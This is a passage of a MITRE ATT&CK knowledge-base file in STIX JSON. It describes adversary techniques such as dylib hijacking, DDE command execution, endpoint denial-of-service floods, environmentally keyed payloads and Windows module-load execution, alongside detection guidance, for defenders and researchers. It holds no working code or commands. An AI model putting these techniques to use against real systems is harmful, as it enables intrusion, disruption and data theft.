Retrieved July 10, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "name": "Dylib Hijacking", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", + "x_mitre_effective_permissions": [ + "Administrator", + "root" + ], + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1173", + "source_name": "mitre-attack", + "external_id": "T1173" + }, + { + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017." + }, + { + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018." + }, + { + "url": "https://technet.microsoft.com/library/security/4053440", + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017." + }, + { + "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", + "source_name": "SensePost PS DDE May 2016", + "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017." + }, + { + "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities", + "source_name": "Kettle CSV DDE Aug 2014", + "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017." + }, + { + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018." + }, + { + "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", + "source_name": "SensePost MacroLess DDE Oct 2017", + "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017." + }, + { + "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", + "source_name": "NVisio Labs DDE Detection Oct 2017", + "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "modified": "2019-02-01T14:27:48.056Z", + "x_mitre_detection": "OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "name": "Dynamic Data Exchange", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1114", + "source_name": "mitre-attack", + "external_id": "T1114" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "name": "Email Collection", + "created": "2017-05-31T21:31:25.454Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access." + }, + { + "external_references": [ + { + "external_id": "T1499", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499" + }, + { + "external_id": "CAPEC-227", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/227.html" + }, + { + "external_id": "CAPEC-131", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/131.html" + }, + { + "external_id": "CAPEC-130", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/130.html" + }, + { + "external_id": "CAPEC-125", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/125.html" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html", + "source_name": "FireEye OpPoisonedHandover February 2016", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019." + }, + { + "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf", + "source_name": "FSISAC FraudNetDoS September 2012", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019." + }, + { + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf", + "source_name": "Symantec DDoS October 2014", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019." + }, + { + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged", + "source_name": "USNYAG IranianBotnet March 2016", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019." + }, + { + "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/", + "source_name": "ArsTechnica Great Firewall of China", + "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019." + }, + { + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019." + }, + { + "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/", + "source_name": "Cloudflare SynFlood", + "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019." + }, + { + "url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html", + "source_name": "Corero SYN-ACKflood", + "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019." + }, + { + "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/", + "source_name": "Cloudflare HTTPflood", + "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019." + }, + { + "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new", + "source_name": "Arbor SSLDoS April 2012", + "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019." + }, + { + "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html", + "source_name": "Sucuri BIND9 August 2015", + "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019." + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Web logs", + "Web application firewall logs", + "Network intrusion detection system", + "Network protocol analysis", + "Network device logs", + "Netflow/Enclave netflow" + ], + "modified": "2019-04-29T13:20:36.795Z", + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "name": "Endpoint Denial of Service", + "created": "2019-04-18T11:00:55.862Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n\n### OS Exhaustion Flood\nSince operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n#### SYN Flood\nWith SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\n#### ACK Flood\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)\n\n### Service Exhaustion Flood\nDifferent network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\n#### Simple HTTP Flood\nA large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\n#### SSL Renegotiation Attack\nSSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\n\n### Application Exhaustion Flood\nWeb applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n### Application or System Exploitation\nSoftware vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition." + }, + { + "external_references": [ + { + "external_id": "T1480", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1480" + }, + { + "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/", + "source_name": "FireEye Kevin Mandia Guardrails", + "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019." + }, + { + "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf", + "source_name": "EK Clueless Agents", + "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019." + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", + "source_name": "Kaspersky Gauss Whitepaper", + "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019." + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", + "source_name": "Proofpoint Router Malvertising", + "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019." + }, + { + "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", + "source_name": "EK Impeding Malware Analysis", + "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019." + }, + { + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", + "source_name": "Environmental Keyed HTA", + "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019." + }, + { + "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf", + "source_name": "Ebowla: Genetic Malware", + "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019." + }, + { + "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js", + "source_name": "Demiguise Guardrail Router Logo", + "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Nick Carr, FireEye" + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process monitoring" + ], + "modified": "2019-06-10T17:27:54.626Z", + "x_mitre_detection": "Detecting the action of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "name": "Execution Guardrails", + "created": "2019-01-31T02:10:08.261Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. \n\nGuardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.\n\nEnvironmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static File Analysis" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1106", + "source_name": "mitre-attack", + "external_id": "T1106" + }, + { + "url": "http://msdn.microsoft.com/en-us/library/ms682425", + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014." + }, + { + "url": "https://skanthak.homepage.t-online.de/verifier.html", + "source_name": "Kanthak Verifier", + "description": "Kanthak, S. (2017). Application Verifier Provider. Retrieved February 13, 2017." + } + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "name": "Execution through API", + "created": "2017-05-31T21:31:17.472Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n* CreateProcessA() and CreateProcessW(),\n* CreateProcessAsUserA() and CreateProcessAsUserW(),\n* CreateProcessInternalA() and CreateProcessInternalW(),\n* CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n* LoadLibraryA() and LoadLibraryW(),\n* LoadLibraryExA() and LoadLibraryExW(),\n* LoadModule(),\n* LoadPackagedLibrary(),\n* WinExec(),\n* ShellExecuteA() and ShellExecuteW(),\n* ShellExecuteExA() and ShellExecuteExW()", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1129", + "source_name": "mitre-attack", + "external_id": "T1129" + }, + { + "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files", + "source_name": "Wikipedia Windows Library Files", + "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Process monitoring" + ], + "modified": "2019-04-26T20:30:31.506Z", + "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "name": "Execution through Module Load", + "created": "2017-05-31T21:31:40.542Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1048", + "source_name": "mitre-attack", + "external_id": "T1048" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "User interface", + "Process monitoring", + "Process use of network", + "Packet capture", + "Netflow/Enclave netflow", + "Network protocol analysis" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "name": "Exfiltration Over Alternative Protocol", + "created": "2017-05-31T21:30:44.720Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate 